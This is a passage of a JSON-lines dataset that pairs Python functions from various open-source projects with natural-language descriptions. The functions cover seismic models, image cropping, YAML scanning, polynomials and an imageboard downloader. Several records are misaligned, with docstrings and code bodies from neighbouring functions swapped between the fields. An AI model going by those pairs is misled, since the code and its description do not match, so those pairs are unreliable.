arr)\n\n tau_branch_keys = [key for key in npz.keys()\n if key.startswith('tau_branches_')]\n j, i = tau_branch_keys[0].split(\"__\")[1:]\n i = int(i.split(\"/\")[1])\n j = int(j.split(\"/\")[1])\n branches = np.empty(shape=(i, j), dtype=np.object_)\n for key in tau_branch_keys:\n j_, i_ = key.split(\"__\")[1:]\n i_ = int(i_.split(\"/\")[0])\n j_ = int(j_.split(\"/\")[0])\n branches[i_][j_] = TauBranch._from_array(npz[key])\n branches = np.copy(branches)\n setattr(model, \"tau_branches\", branches)\n\n slowness_model = SlownessModel(v_mod=None,\n skip_model_creation=True)\n setattr(model, \"s_mod\", slowness_model)\n for key in npz['s_mod'].dtype.names:\n arr = npz['s_mod'][key]\n if arr.ndim == 0:\n arr = arr.flatten()[0]\n setattr(slowness_model, key, arr)\n\n for key in ['p_layers', 's_layers', 'critical_depths']:\n setattr(slowness_model, key, npz['s_mod.' + key])\n for key in ['fluid_layer_depths', 'high_slowness_layer_depths_p',\n 'high_slowness_layer_depths_s']:\n arr_ = npz['s_mod.' + key]\n if len(arr_) == 0:\n data = []\n else:\n data = [DepthRange._from_array(x) for x in arr_]\n setattr(slowness_model, key, data)\n\n velocity_model = VelocityModel(\n model_name=npz[\"v_mod\"][\"model_name\"],\n radius_of_planet=float(npz[\"v_mod\"][\"radius_of_planet\"]),\n min_radius=float(npz[\"v_mod\"][\"min_radius\"]),\n max_radius=float(npz[\"v_mod\"][\"max_radius\"]),\n moho_depth=float(npz[\"v_mod\"][\"moho_depth\"]),\n cmb_depth=float(npz[\"v_mod\"][\"cmb_depth\"]),\n iocb_depth=float(npz[\"v_mod\"][\"iocb_depth\"]),\n is_spherical=bool(npz[\"v_mod\"][\"is_spherical\"]),\n layers=None\n )\n setattr(slowness_model, \"v_mod\", velocity_model)\n setattr(velocity_model, 'layers', npz['v_mod.layers'])\n return model\n\n @staticmethod", "nl": "Deserialize model from numpy npz binary file."} {"code": "def _combine_finally_starts(self, starts, exits):\n causes = []\n for start in sorted(starts):\n if start.cause is not None:\n causes.append(start.cause.format(lineno=start.lineno))\n cause = \" or \".join(causes)\n exits = set(ArcStart(xit.lineno, cause) for xit in exits)\n return exits\n\n @contract(returns='ArcStarts')", "nl": "Helper for building the cause of `finally` branches.\"finally\" clauses might not execute their exits, and the causes couldbe due to a failure to execute any of the exits in the try block. Sowe use the causes from `starts` as the causes for `exits`."} {"code": "def is_inside(self, pt):\n pt1 = self._relative_viewpoint(pt)\n x1, y1 = pt1\n value = ((y1**2) / (self.a**2)) + ((x1**2) / (self.b**2))\n if value < 1:\n return True\n return False\n", "nl": " Is the given point inside the ellipse?:parm self: ellipse:type self: :class: `~obspy.io.nordic.ellipse.Ellipse`:param pt: coordinates of the point (x,y):type pt: tuple(float, float):return: True or False:rtype: bool"} {"code": "def gen_crop_transform_with_instance(crop_size, image_size, instance):\n crop_size = np.asarray(crop_size, dtype=np.int32)\n bbox = BoxMode.convert(instance[\"bbox\"], instance[\"bbox_mode\"], BoxMode.XYXY_ABS)\n center_yx = (bbox[1] + bbox[3]) * 0.5, (bbox[0] + bbox[2]) * 0.5\n assert (\n image_size[0] >= center_yx[0] and image_size[1] >= center_yx[1]\n ), \"The annotation bounding box is outside of the image!\"\n assert (\n image_size[0] >= crop_size[0] and image_size[1] >= crop_size[1]\n ), \"Crop size is larger than image size!\"\n\n min_yx = np.maximum(np.floor(center_yx).astype(np.int32) - crop_size, 0)\n max_yx = np.maximum(np.asarray(image_size, dtype=np.int32) - crop_size, 0)\n max_yx = np.minimum(max_yx, np.ceil(center_yx).astype(np.int32))\n\n y0 = np.random.randint(min_yx[0], max_yx[0] + 1)\n x0 = np.random.randint(min_yx[1], max_yx[1] + 1)\n return T.CropTransform(x0, y0, crop_size[1], crop_size[0])\n\n", "nl": "Generate a CropTransform so that the cropping region containsthe center of the given instance.Args:crop_size (tuple): h, w in pixelsimage_size (tuple): h, winstance (dict): an annotation dict of one instance, in Detectron2'sdataset format."} {"code": "def nonempty(self, threshold: int = 0) -> torch.Tensor:\n box = self.tensor\n widths = box[:, 2]\n heights = box[:, 3]\n keep = (widths > threshold) & (heights > threshold)\n return keep\n", "nl": "Find boxes that are non-empty.A box is considered empty, if either of its side is no larger than threshold.Returns:Tensor: a binary vector which representswhether each box is empty (False) or non-empty (True)."} {"code": "def reformat(name, multiple_cpus):\n\n Returns:\n filenames (list): list of RAPLFiles\n \"\"\"", "nl": " Renames the RAPL files for better readability/understanding if 'package' in name:if multiple_cpus:name = \"CPU\" + name[-1] # renaming it to CPU-xelse:name = \"Package\"if name == 'core':name = \"CPU\"elif name == 'uncore':name = \"GPU\"elif name == 'dram':name = name.upper()return namedef get_files(): Gets all the RAPL files with their names on the machine"} {"code": "def wrap_http_for_auth(credentials, http):\n orig_request_method = http.request\n", "nl": "Prepares an HTTP object's request method for auth.Wraps HTTP requests with logic to catch auth failures (typicallyidentified via a 401 status code). In the event of failure, triesto refresh the token used and then retry the original request.Args:credentials: Credentials, the credentials used to identifythe authenticated user.http: httplib2.Http, an http object to be used to makeauth requests."} {"code": "def scan(stream, Loader=Loader):\n loader = Loader(stream)\n try:\n while loader.check_token():\n yield loader.get_token()\n finally:\n loader.dispose()\n", "nl": "Scan a YAML stream and produce scanning tokens."} {"code": "def test_prediction(self, center, radius):\n Test Cone Search error response handling.\n", "nl": "Prediction tests are not very accurate but will have to do.t_1, tab_1 = conesearch.conesearch_timer(center, radius, catalog_db=self.url, verbose=self.verbose,return_astropy_table=False)n_1 = tab_1.array.sizet_2, n_2 = conesearch.predict_search(self.url, center, radius, verbose=self.verbose)assert n_2 > 0 and n_2 <= n_1 * 1.5# Timer depends on network latency as well, so upper limit is very lax.assert t_2 > 0 and t_2 <= t_1 * 10def test_prediction_neg_radius(self):with pytest.raises(ConeSearchError):t, n = conesearch.predict_search(self.url, SCS_CENTER, -1, verbose=self.verbose)def teardown_class(self):conf.reset('conesearch_dbname')data.conf.reset('remote_timeout')class TestErrorResponse:"} {"code": "def p_declaration(self, p):\n p[0] = p[1] if isinstance(p[1], list) else [p[1]]\n\n", "nl": " declaration : variable_decl| property_decl| block_decl| mixin_decl| call_mixin| import_statement"} {"code": "def __len__(self):\n\n num_workers = dataloader_workers\n data_root = dataset_roots\n random_seed = random_seed\n\n c_transforms = []\n\n c_transforms.append(T.ToTensor())\n c_transforms = T.Compose(c_transforms)\n\n content_dataset = SwappingDataset(\n data_root,\n c_transforms,\n \"jpg\",\n random_seed)\n content_data_loader = data.DataLoader(dataset=content_dataset,batch_size=batch_size,\n drop_last=True,shuffle=True,num_workers=num_workers,pin_memory=True)\n prefetcher = data_prefetcher(content_data_loader)\n return prefetcher\n", "nl": "Return the number of images.return self.num_imagesdef GetLoader( dataset_roots,batch_size=16,dataloader_workers=8,random_seed = 1234):Build and return a data loader."} {"code": "def merge_all_tuples_bet(self):\n self.bet_uniques_vectors = set()\n self.bet_uniques_words = set()\n for t in self.tuples:\n self.bet_uniques_vectors.add(tuple(t.bet_vector))\n self.bet_uniques_words.add(t.bet_words)\n", "nl": "Put all tuples with BET vectors into a set so that comparison with repeated vectorsis eliminated"} {"code": "def upgrade(self, value):\n self._checked = True\n try:\n return self._strict_call(value)\n except ValueError:\n if self._locked:\n errmsg = \"Converter is locked and cannot be upgraded\"\n raise ConverterLockError(errmsg)\n _statusmax = len(self._mapper)\n _status = self._status\n if _status == _statusmax:\n errmsg = \"Could not find a valid conversion function\"\n raise ConverterError(errmsg)\n elif _status < _statusmax - 1:\n _status += 1", "nl": "Find the best converter for a given string, and return the result.The supplied string `value` is converted by testing differentconverters in order. First the `func` method of the`StringConverter` instance is tried, if this fails other availableconverters are tried. The order in which these other convertersare tried is determined by the `_status` attribute of the instance.Parameters----------value : strThe string to convert.Returns-------out : anyThe result of converting `value` with the appropriate converter."} {"code": "def extract_features(vectorizer, text):\n text_train = dataset.text\n vectorizer = train_vectorizer(text_train)\n vectorizer.stop_words_ = set({})\n print \"extracting features...\"\n x_train = extract_features(vectorizer, text_train)\n y_train = dataset.polarity\n model = naive_bayes.MultinomialNB()\n print \"training the model...\"\n model.fit(x_train, y_train)\n model.vectorizer = vectorizer\n return model\n", "nl": " Extract text features return vectorizer.transform(text)def train_model(dataset): Train a new model "} {"code": "def toggle_overview(self, dummy=None):\n\n\t\tif not self.ui.action_show_overview.isChecked():\n\t\t\tself.ui.dock_overview.setVisible(False)\n\t\t\treturn\n\t\tself.ui.dock_overview.setVisible(True)\n", "nl": "Set the visibility of the overview area based on the state of thetoolbar actionKeyword arguments:dummy -- a dummy argument passed by the signal handler (default=None)"} {"code": "def refresh_item(self, item):\n w = self.widget\n s = item.status_widget()\n if s is not None:\n w.removeWidget(s)\n for index, child in enumerate(self.children()):\n if child is item:\n stretch = item.stretch()\n if item.is_permanent():\n w.insertPermanentWidget(index, s, stretch)\n else:\n w.insertWidget(index, s, stretch)\n s.show()\n break\n", "nl": " A method invoked by a child status item.This method can be called when the widget for the item shouldbe refreshed in the status bar."} {"code": "def _check_instance_using_image(self):\n cfn_tags = copy.deepcopy(self.config.build.tags) or []\n self.__config_url = self.bucket.get_config_s3_url(self._s3_artifacts_dict.get(\"config_name\"))\n tag_list = [\n {\n \"key\": PCLUSTER_IMAGE_NAME_TAG,\n \"value\": self.config.image.name if self.config.image and self.config.image.name else self.image_id,\n },\n {\"key\": PCLUSTER_VERSION_TAG, \"value\": get_installed_version()},\n {\"key\": PCLUSTER_IMAGE_ID_TAG, \"value\": self.image_id},\n {\"key\": PCLUSTER_S3_BUCKET_TAG, \"value\": self.bucket.name},\n {\"key\": PCLUSTER_S3_IMAGE_DIR_TAG, \"value\": self.s3_artifact_dir},\n {\"key\": PCLUSTER_IMAGE_BUILD_LOG_TAG, \"value\": self._get_log_group_arn},\n {\"key\": PCLUSTER_IMAGE_CONFIG_TAG, \"value\": self.config_url},\n ]\n for tag in tag_list:\n cfn_tags.append(BaseTag(key=tag.get(\"key\"), value=tag.get(\"value\")))\n return [{\"Key\": tag.key, \"Value\": tag.value} for tag in cfn_tags]\n\n @property", "nl": "Check image is used by other instances.try:result = AWSApi.instance().ec2.get_instance_ids_by_ami_id(self.image.id)if result:logging.error(\"Image %s is used by instances %s. \"\"In case you want to delete the image, please use the --force flag.\",self.image_id,str(result),)raise BadRequestImageBuilderActionError(\"Unable to delete image and stack: Image {} is used by instances {}.\".format(self.image_id, str(result)))return Falseexcept (AWSClientError, ImageError) as e:if isinstance(e, NonExistingImageError):return Falseraise _imagebuilder_error_mapper(e, f\"Unable to delete image and stack, due to {str(e)}\")def _validate_id(self):match = re.match(PCLUSTER_IMAGE_ID_REGEX, self.image_id)if match is None:raise BadRequestImageBuilderActionError(\"Image id '{0}' failed to satisfy constraint: \".format(self.image_id)+ \"The process id can contain only alphanumeric characters (case-sensitive) and hyphens. \"+ \"It must start with an alphabetic character and can't be longer than 128 characters.\")def _get_cfn_tags(self):Get cfn tags."} {"code": "def cocoseg_to_binary(seg, height, width):\n if type(seg) == list:\n rle = cocomask.frPyObjects(seg, height, width)\n rle = cocomask.merge(rle)\n mask = cocomask.decode([rle])\n elif type(seg['counts']) == list:\n rle = cocomask.frPyObjects(seg, height, width)\n mask = cocomask.decode([rle])\n else:\n rle = cocomask.merge(seg)\n mask = cocomask.decode([rle])\n assert mask.shape[2] == 1\n return mask[:, :, 0]\n", "nl": "COCO style segmentation to binary mask:param seg: coco-style segmentation:param height: image height:param width: image width:return: binary mask"} {"code": "def subdivide(self, task_func, *unnamed_args, **named_args):\n task = self._do_create_task_by_OOP(\n task_func, named_args, \"pipeline.subdivide\")\n task._prepare_subdivide(unnamed_args, named_args)\n return task\n", "nl": "Subdivides a each set of input files into multiple output file names,where the number of output files may not be known beforehand.This is a Many to Even More operation"} {"code": "def Logits(self, theta, inputs):\n p = self.params\n if isinstance(inputs, (list, tuple)):\n assert len(inputs) == 1\n inputs = inputs[0]\n after_proj = self.linear.FProp(theta.linear, inputs)\n logits = self.bias.FProp(theta.bias, after_proj)\n abs_max = p.logits_abs_max\n if abs_max is not None and not p.is_inference:\n abs_min = -abs_max\n logits = py_utils.clip_by_value(logits, abs_min, abs_max)\n if p.logits_soft_max > 0.0:\n logits = py_utils.MaybeSoftCapLogits(logits, p.logits_soft_max)\n\n return logits\n", "nl": "Returns the logits computed before the softmax.Args:theta: A `.NestedMap` object containing weights' values of this layer andits children layers.inputs: A single tensor with shape [..., input_dim].Returns:logits [..., num_classes]"} {"code": "def _UpdateOneofState(self, field):", "nl": "Sets field as the active field in its containing oneof.Will also delete currently active field in the oneof, if it is differentfrom the argument. Does not mark the message as modified."} {"code": "def demo(self):\n return self._trajectory_cursors\n\n @property", "nl": "Returns the LabeledDemonstration object.return self._demo@propertydef trajectory_cursors(self):Returns the list[int] of cursors at each selected program."} {"code": "def f3(n):\n for i in range(10):\n print(i)\n\n", "nl": "McCabe rating: 3if n > 3:return \"bigger than three\"elif n > 4:return \"is never executed\"else:return \"smaller than or equal to three\"def f4():McCabe rating: 2"} {"code": "def serve(self, timeout=1, wait_for_lock=True): # serving\n timeout = Timeout(timeout)\n with self._recv_event:\n if not self._recvlock.acquire(False):\n if wait_for_lock:\n return self._recv_event.wait(timeout.timeleft())\n else:\n return False\n try:\n data = None\n data = self._channel.poll(timeout) and self._channel.recv()\n except Exception as exc:\n if isinstance(exc, EOFError):\n self.close()\n self._recvlock.release()\n with self._recv_event:\n self._recv_event.notify_all()\n raise\n if data:\n self._dispatch(data)\n self._recvlock.release()\n with self._recv_event:\n self._recv_event.notify_all()\n return True\n else:\n self._recvlock.release()\n return False\n", "nl": "Serves a single request or reply that arrives within the giventime frame (default is 1 sec). Note that the dispatching of a requestmight trigger multiple (nested) requests, thus this function may bereentrant.:returns: ``True`` if a request or reply were received, ``False``otherwise."} {"code": "def decorate(self, fun: Callable) -> Callable:\n\n This can be used as a class decorator::\n\n @config_override(FOO=\"bar\", BAZ=\"bat\")\n class FooTestClass(object):\n ...\n\n\n This can be used as a function decorator::\n\n @config_override(FOO=\"bar\")", "nl": "Decorate a function for overriding configuration.@wraps(fun)def _decorated(*args: Any, **kwargs: Any) -> Any:# Push the config, run the function and pop it afterwards.self.push_config()try:return fun(*args, **kwargs)finally:self.pop_config()return _decorateddef __call__(self, class_or_fun: Callable) -> Callable:if inspect.isclass(class_or_fun):# If class_or_fun is a class, decorate all of its methods# that start with 'test'.for attr in class_or_fun.__dict__.keys():prop = getattr(class_or_fun, attr)if attr.startswith(\"test\") and callable(prop):setattr(class_or_fun, attr, self.decorate(prop))return class_or_funelse:return self.decorate(class_or_fun)def config_override(**cfg: str) -> ConfigOverride:Allow you to override config for writing tests."} {"code": "def request_uri(self):\n if self.port:\n return \"%s:%d\" % (self.host, self.port)\n return self.host\n\n @property", "nl": "Absolute path including the query string.uri = self.path or \"/\"if self.query is not None:uri += \"?\" + self.queryreturn uri@propertydef netloc(self):Network location including host and port"} {"code": "def student_courses(request, userid):\n student = get_object_or_404(Person, find_userid_or_emplid(userid))\n\n context = {\n 'userid': userid,\n 'student': student,\n }\n resp = render(request, 'advisornotes/student_courses.html', context)\n resp.has_inline_script = True\n return resp\n\n@requires_role(['ADVS', 'ADVM'])", "nl": "List of courses now (and in surrounding semesters)"} {"code": "def to_dict(self):\n return json.dumps(self.to_dict(), indent=2, sort_keys=True) + \"\\n\"\n\n\nclass InputFeatures(object):\n \"\"\"\n", "nl": "Serializes this instance to a Python dictionary.output = copy.deepcopy(self.__dict__)return outputdef to_json_string(self):Serializes this instance to a JSON string."} {"code": "def ParseTreeFor(stream_input, **parse_args):\n \"\"\"", "nl": "Run the R parser on the stream provided and return a parse tree.return _r_parser.parse(input=stream_input, lexer=_RLexer(), **parse_args)# Begin PLY YACC productions.# Disable lint checks that are incompatible with PLY's use of docstrings to# express grammar productions.# pylint: disable=g-docstring-quotes,g-short-docstring-punctuation# pylint: disable=g-space-before-docstring-summary# pylint: disable=g-no-space-after-docstring-summary# pylint: disable=g-missing-docstring,g-doc-args,g-bad-name,g-doc-exceptiondef p_prog(p):prog : BEGIN exprlist"} {"code": "def write(self, fileName, **opts):\n if USE_HDF5 is False:\n return self.writeMa(fileName, **opts)\n elif HAVE_HDF5 is True:\n return self.writeHDF5(fileName, **opts)\n else:\n raise Exception(\"h5py is required for writing .ma hdf5 files, but it could not be imported.\")\n", "nl": "Write this object to a file. The object can be restored by calling MetaArray(file=fileName)opts:appendAxis: the name (or index) of the appendable axis. Allows the array to grow.appendKeys: a list of keys (other than \"values\") for metadata to append to on the appendable axis.compression: None, 'gzip' (good compression), 'lzf' (fast compression), etc.chunks: bool or tuple specifying chunk shape"} {"code": "def test_template_meta_image_no_images(self):\n image_file = get_test_image_file(filename=\"foo.png\")\n image = baker.make(CFGOVImage, file=image_file)\n page = LearnPage(social_sharing_image=image)\n response = page.make_preview_request()\n response.render()\n\n rendition_url = image.get_rendition(\"original\").url\n\n self.assertContains(\n response,\n (\n ''.format(expected_root, rendition_url)\n ),\n html=True,\n )\n", "nl": "Template meta tags should fallback to standard social networks.page = LearnPage(social_sharing_image=None)response = page.make_preview_request()response.render()self.assertContains(response,(''),html=True,)self.assertContains(response,(''),html=True,)def check_template_meta_image_url(self, expected_root):Template meta tags should use an absolute image URL."} {"code": "def get_update_results(self, data=None):\n\n return getattr(self, 'update_results', data)\n", "nl": "Return a dictionary of the expected results of the instance.By default gets the ``update_results`` attribute of this class.If that isn't set defaults to the data.:param data: The update request's data dictionary.:returns: Dictionary mapping instance properties to expected values."} {"code": "def test_02_project_delete(self, mock):\n mock.return_value = {}\n url = ''\n self.check_limit(url, 'put', 'project')\n\n @patch('pybossa.api._retrieve_new_task')", "nl": "Test API.project DELETE rate limit.mock.return_value = {}url = ''self.check_limit(url, 'delete', 'project')@patch('pybossa.api.api_base.APIBase._update_instance')def test_03_project_put(self, mock):Test API.project PUT rate limit."} {"code": "def download(self):\n\n self.logger.info(\"{}: Starting download.\".format(self.thread_url))\n while True:\n try:\n thread_json = json.loads(self.get_thread_json())\n except ValueError:\n self.logger.critical(\"{}: Problem connecting to {0}. stopping download for thread {1}\".format(self.thread_url, self.imageboard, self.thread_nb))\n self.remove_thread_from_downloading()\n self.remove_tmp_files()\n exit(1)\n\n if thread_json[\"posts\"][0].get(\"archived\"):\n if not self.is_quiet:\n self.logger.info(\"{}: Thread is archived, getting images then quitting.\".format(self.thread_url))\n archived = True\n else:\n archived = False\n\n for post in thread_json[\"posts\"]:\n if 'filename' in post:\n if not self.was_downloaded(post[\"tim\"]):\n if self.meet_dl_condition(post):\n tmp_pic = self.download_image(post)\n final_pic = os.path.join(self.out_dir, tmp_pic.split('/')[-1])\n self.add_to_downloaded_log(post[\"tim\"])\n\n if self.check_duplicate:\n if not self.remove_if_duplicate(tmp_pic):\n shutil.move(tmp_pic, final_pic)\n self.add_tag_file(final_pic + \".txt\")\n else:\n shutil.move(tmp_pic, final_pic)\n self.add_tag_file(final_pic + \".txt\")\n\n time.sleep(self.throttle)\n\n if 'extra_files' in post:\n for picture in post[\"extra_files\"]:\n if not self.was_downloaded(picture[\"tim\"]):\n if self.meet_dl_condition(picture):\n tmp_pic = self.download_image(picture)\n final_pic = os.path.join(self.out_dir, tmp_pic.split('/')[-1])\n self.add_to_downloaded_log(picture[\"tim\"])\n\n if self.check_duplicate:\n if not self.remove_if_duplicate(tmp_pic):\n shutil.move(tmp_pic, final_pic)\n self.add_tag_file(final_pic + \".txt\")\n else:\n shutil.move(tmp_pic, final_pic)\n self.add_tag_file(final_pic + \".txt\")\n\n\n time.sleep(self.throttle)\n if archived or self.single_run:\n self.remove_thread_from_downloading()\n self.remove_tmp_files()\n exit(0)\n\n time.sleep(20)\n\n", "nl": "Start the download of all pictures.It will return either when the thread 404, is archived, or if stopped by a special conditon such as single_run"} {"code": "def dump_age(age=None):\n if age is None:\n return\n if isinstance(age, timedelta):\n age = age.seconds + (age.days * 24 * 3600)\n\n age = int(age)\n if age < 0:\n raise ValueError(\"age cannot be negative\")\n\n return str(age)\n\n", "nl": "Formats the duration as a base-10 integer.:param age: should be an integer number of seconds,a :class:`datetime.timedelta` object, or,if the age is unknown, `None` (default)."} {"code": "def _load_config_from_json(self, config_file):\n with open(config_file, mode=\"r\", encoding=\"utf-8\") as f:\n cfg_dict = json.load(f)\n\n self.libai_cfg.num_layers = cfg_dict[\"n_layer\"]\n self.libai_cfg.hidden_size = cfg_dict[\"n_embd\"]\n self.libai_cfg.num_attention_heads = cfg_dict[\"n_head\"]\n self.libai_cfg.max_seq_length = cfg_dict[\"n_positions\"]\n self.libai_cfg.embedding_dropout_prob = cfg_dict[\"embd_pdrop\"]\n self.libai_cfg.attention_dropout_prob = cfg_dict[\"attn_pdrop\"]\n self.libai_cfg.output_dropout_prob = cfg_dict[\"resid_pdrop\"]\n self.libai_cfg.layernorm_epsilon = cfg_dict[\"layer_norm_epsilon\"]\n self.libai_cfg.vocab_size = cfg_dict[\"vocab_size\"]\n self.libai_cfg.initializer_range = cfg_dict[\"initializer_range\"]\n self.libai_cfg.ffn_hidden_size = cfg_dict.get(\"n_inner\", 4 * self.libai_cfg[\"hidden_size\"])\n\n for k, v in self.kwargs.items():\n self.libai_cfg[k] = v\n\n\nclass GPT2LoaderLiBai(ModelLoaderLiBai):", "nl": "load config from `config.json`, and update default config.Args:config_file (str): Path of config file."} {"code": "def polyder(c, m=1, scl=1, axis=0):\n c = np.array(c, ndmin=1, copy=1)\n if c.dtype.char in '?bBhHiIlLqQpP':\n c = c + 0.0\n cdt = c.dtype\n cnt, iaxis = [int(t) for t in [m, axis]]\n\n if cnt != m:\n raise ValueError(\"The order of derivation must be integer\")\n if cnt < 0:\n raise ValueError(\"The order of derivation must be non-negative\")\n if iaxis != axis:\n raise ValueError(\"The axis must be integer\")\n if not -c.ndim <= iaxis < c.ndim:\n raise ValueError(\"The axis is out of range\")\n if iaxis < 0:\n iaxis += c.ndim\n\n if cnt == 0:\n return c\n\n c = np.rollaxis(c, iaxis)\n n = len(c)\n if cnt >= n:\n c = c[:1]*0\n else:\n for i in range(cnt):\n n = n - 1\n c *= scl\n der = np.empty((n,) + c.shape[1:], dtype=cdt)\n for j in range(n, 0, -1):\n der[j - 1] = j*c[j]\n c = der\n c = np.rollaxis(c, 0, iaxis + 1)\n return c\n\n", "nl": "Differentiate a polynomial.Returns the polynomial coefficients `c` differentiated `m` times along`axis`. At each iteration the result is multiplied by `scl` (thescaling factor is for use in a linear change of variable). Theargument `c` is an array of coefficients from low to high degree alongeach axis, e.g., [1,2,3] represents the polynomial ``1 + 2*x + 3*x**2``while [[1,2],[1,2]] represents ``1 + 1*x + 2*y + 2*x*y`` if axis=0 is``x`` and axis=1 is ``y``.Parameters----------c : array_likeArray of polynomial coefficients. If c is multidimensional thedifferent axis correspond to different variables with the degreein each axis given by the corresponding index.m : int, optionalNumber of derivatives taken, must be non-negative. (Default: 1)scl : scalar, optionalEach differentiation is multiplied by `scl`. The end result ismultiplication by ``scl**m``. This is for use in a linear changeof variable. (Default: 1)axis : int, optionalAxis over which the derivative is taken. (Default: 0)... versionadded:: 1.7.0Returns-------der : ndarrayPolynomial coefficients of the derivative.See Also--------polyintExamples-------->>> from numpy.polynomial import polynomial as P>>> c = (1,2,3,4) # 1 + 2x + 3x**2 + 4x**3>>> P.polyder(c) # (d/dx)(c) = 2 + 6x + 12x**2array([ 2., 6., 12.])>>> P.polyder(c,3) # (d**3/dx**3)(c) = 24array([ 24.])>>> P.polyder(c,scl=-1) # (d/d(-x))(c) = -2 - 6x - 12x**2array([ -2., -6., -12.])>>> P.polyder(c,2,-1) # (d**2/d(-x)**2)(c) = 6 + 24xarray([ 6., 24.])"} {"code": "def get_train_examples(self, data_dir):\n logger.info(\"LOOKING AT {} dev\".format(data_dir))\n high = os.path.join(data_dir, 'dev/high')\n middle = os.path.join(data_dir, 'dev/middle')\n high = self._read_txt(high)\n middle = self._read_txt(middle)\n return self._create_examples(high + middle, 'dev')\n", "nl": "See base class.logger.info(\"LOOKING AT {} train\".format(data_dir))high = os.path.join(data_dir, 'train/high')middle = os.path.join(data_dir, 'train/middle')high = self._read_txt(high)middle = self._read_txt(middle)return self._create_examples(high + middle, 'train')def get_dev_examples(self, data_dir):See base class."} {"code": "def flatten_pipes_dict(pipes_dict: PipesDict) -> List[Pipe]:\n pipes_list = []\n for ck in pipes_dict.values():\n for mk in ck.values():\n pipes_list += list(mk.values())\n return pipes_list\n\n", "nl": "Convert the standard pipes dictionary into a list.Parameters----------pipes_dict: PipesDictThe pipes dictionary to be flattened.Returns-------A list of `Pipe` objects."} {"code": "def test_webhook_handler_post_oid_404(self):\n self.register()\n user = user_repo.get(1)\n project = ProjectFactory.create(owner=user, webhook='server')\n task = TaskFactory.create(project=project, n_answers=1)\n AnonymousTaskRunFactory.create(project=project, task=task)\n payload = self.payload(project, task)\n wh = Webhook(project_id=project.id, payload=payload,\n response='error', response_status_code=500)\n webhook_repo.save(wh)\n wh2 = Webhook(project_id=project.id, payload=payload,\n response='ok', response_status_code=200)\n webhook_repo.save(wh2)\n wh3 = Webhook(project_id=project.id, payload=payload,\n response='ok', response_status_code=200)\n webhook_repo.save(wh3)\n\n wh = webhook_repo.get(1)\n url = \"/project/%s/webhook?failed=true\" % (project.short_name)\n res = self.app.get(url)\n assert res.status_code == 200, res.status_code\n q.assert_called_once_with(webhook, project.webhook,\n wh.payload, wh.id, True)\n\n @with_context\n @patch('pybossa.view.projects.webhook_queue.enqueue')", "nl": "Test WEBHOOK post oid 404 works.self.register()user = user_repo.get(1)project = ProjectFactory.create(owner=user)task = TaskFactory.create(project=project, n_answers=1)AnonymousTaskRunFactory.create(project=project, task=task)payload = self.payload(project, task)webhook = Webhook(project_id=project.id, payload=payload,response='OK', response_status_code=200)webhook_repo.save(webhook)url = \"/project/%s/webhook/%s\" % (project.short_name, 9999)res = self.app.post(url)assert res.status_code == 404, res.status_code@with_context@patch('pybossa.view.projects.webhook_queue.enqueue')def test_webhook_handler_failed(self, q):Test WEBHOOK requeing failed works."} {"code": "def gen_colors(self, client=None, agent=None):\n yiq = ((red * 299) + (green * 587) + (blue * 114)) / 1000\n return \"black\" if yiq >= 128 else \"white\"\n", "nl": "Generates color for an events feedcache = self._get_color_session(client, agent)if cache:return (cache[\"color\"], cache[\"text\"])labels = bui.client.get_client_labels(client, agent)HTML_COLOR = r\"((?P#(?P[0-9a-f]{1,2})(?P[0-9a-f]{1,2})(?P[0-9a-f]{1,2}))|(?Prgb\\s*\\(\\s*(?P2[0-5]{2}|2[0-4]\\d|[0-1]?\\d\\d?)\\s*,\\s*(?P2[0-5]{2}|2[0-4]\\d|[0-1]?\\d\\d?)\\s*,\\s*(?P2[0-5]{2}|2[0-4]\\d|[0-1]?\\d\\d?)\\s*\\))|(?P[\\w-]+$))\"color_found = Falsecolor = Nonetext = Nonefor label in labels:# We are looking for labels starting with \"color:\" or \"text:\"if re.search(r\"^color:\", label, re.IGNORECASE):search = re.search(r\"^color:\\s*{}\".format(HTML_COLOR), label, re.IGNORECASE)# we allow various color forms. For instance:# hex: #fa12e6# rgb: rgb (123, 42, 9)# plain: blackif search.group(\"hex\"):red = search.group(\"red_hex\")green = search.group(\"green_hex\")blue = search.group(\"blue_hex\")# ensure ensure the hex part is of the form XXred = red + red if len(red) == 1 else redgreen = green + green if len(green) == 1 else greenblue = blue + blue if len(blue) == 1 else blue# Now convert the hex to an intred = int(red, 16)green = int(green, 16)blue = int(blue, 16)elif search.group(\"rgb\"):red = int(search.group(\"red\"))green = int(search.group(\"green\"))blue = int(search.group(\"blue\"))elif search.group(\"plain\"):# if plain color is provided, we cannot guess the adapted# text color, so we assume white (unless text is specified)red = 0green = 0blue = 0color = search.group(\"plain\")else:continuecolor = color or \"#{:02X}{:02X}{:02X}\".format(red, green, blue)color_found = Trueif re.search(r\"^text:\", label, re.IGNORECASE):search = re.search(r\"^text:\\s*{}\".format(HTML_COLOR), label, re.IGNORECASE)# if we don't find anything, we'll generate a color based on# the value of the red, green and blue variablestext = (search.group(\"hex\") or search.group(\"rgb\") or search.group(\"plain\"))if color and text:breakif not color_found:def rand():return random.randint(0, 255)red = rand()green = rand()blue = rand()text = text or self._get_text_color(red, green, blue)color = color or \"#{:02X}{:02X}{:02X}\".format(red, green, blue)self._set_color_session(color, text, client, agent)return (color, text)def _get_text_color(self, red=0, green=0, blue=0):Generates the text color for a given color"} {"code": "def _remove_failed_and_ignored_stations(self):\n to_be_removed_keys = []\n for key, station in self.stations.items():\n if station.has_existing_or_downloaded_time_intervals is True:\n continue\n to_be_removed_keys.append(key)\n for key in to_be_removed_keys:\n del self.stations[key]\n", "nl": "Removes all stations that have no time interval with either existsor downloaded status."} {"code": "def parse(self, params):\n for param in params:\n key, value = self._splitParam(param)\n if key.startswith('-'):\n self._features.pop(key[1:], None)\n else:\n self._features[key] = self.dispatch(key, value)\n\n", "nl": "Parse ISUPPORT parameters.If an unknown parameter is encountered, it is simply added to thedictionary, keyed by its name, as a tuple of the parameters provided.@type params: C{iterable} of C{str}@param params: Iterable of ISUPPORT parameters to parse"} {"code": "def _is_client_error(status_code):\n return status_code >= 500\n\n", "nl": "Check if status code is client error.return 400 <= status_code < 500def _is_server_error(status_code):Check if status code is server error."} {"code": "def hamilton_cycle(graph: list[list[int]], start_index: int = 0) -> list[int]:\n path = [-1] * (len(graph) + 1)\n path[0] = path[-1] = start_index\n return path if set_hamilton_cycle(graph, path, 1) else []\n\n\nif __name__ == \"__main__\":\n import doctest\n\n doctest.testmod()", "nl": "rfungsi untuk memanggil subrutin yang disebut set_hamilton_cycle,yang akan mengembalikan array simpul yang menunjukkan siklus hamiltonianatau daftar kosong yang menunjukkan bahwa siklus 